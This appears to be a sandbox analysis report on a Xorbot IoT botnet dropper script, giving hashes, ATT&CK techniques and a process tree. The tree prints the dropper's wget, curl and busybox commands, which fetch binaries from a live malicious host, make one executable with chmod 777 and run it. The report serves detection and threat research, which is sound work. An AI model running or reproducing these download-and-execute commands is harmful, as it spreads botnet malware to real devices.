xorbot | 5e33ea5a2d55b0f2a709f396e404243f53323d62611bedbda558f94dd294078b

Analysis

max time kernel
142s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
05/01/2025, 22:32

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General

Target
bins.sh
Size 10KB
Sample250105-2fynlsxrcv
SHA256 5e33ea5a2d55b0f2a709f396e404243f53323d62611bedbda558f94dd294078b
MD5 aec60624bcb0310a8ac2989c0c449e26
SHA1 c7ba7ea4022b80d7f289440e2d213b923839587f
SHA512 6e76bbb59d375c092eec46f9ea6018a4d8b5b0a553f10216a1a263ee0a2612ef9bb095499ebdaeb7cd1a68d4ac92cc885690e6c4d97985379fe399197aa93696
SSDEEP 192:RJ9s7bFqnOJOVOeOJxO3OfVf5hijnTzpOmzsIizNtWv7MavbWltjOJOVOeOJxO36:6qnOJOVOeOJxO3OfVUzpOmzsIi1zOJOa
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
817	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke	818	GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
715	wget
736	curl
738	busybox
821	wget
822	curl
824	busybox

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke	wget
File opened for modification	/tmp/GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke	curl
File opened for modification	/tmp/v3qUFQapGA7SxMpZN5MtEDjEwJOGF4ngkQ	wget
File opened for modification	/tmp/v3qUFQapGA7SxMpZN5MtEDjEwJOGF4ngkQ	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke
  2⤵
  - System Network Configuration Discovery
  PID:738
- /bin/chmod
  chmod 777 GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke
  ./GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke
  2⤵
  PID:820
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v3qUFQapGA7SxMpZN5MtEDjEwJOGF4ngkQ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:821
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v3qUFQapGA7SxMpZN5MtEDjEwJOGF4ngkQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v3qUFQapGA7SxMpZN5MtEDjEwJOGF4ngkQ
  2⤵
  - System Network Configuration Discovery
  PID:824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke

Path /tmp/GpKyAA4YBg9hKNdC7psopSR7tfFX2TlKke
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

Submit Download

v3qUFQapGA7SxMpZN5MtEDjEwJOGF4ngkQ

Path /tmp/v3qUFQapGA7SxMpZN5MtEDjEwJOGF4ngkQ
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP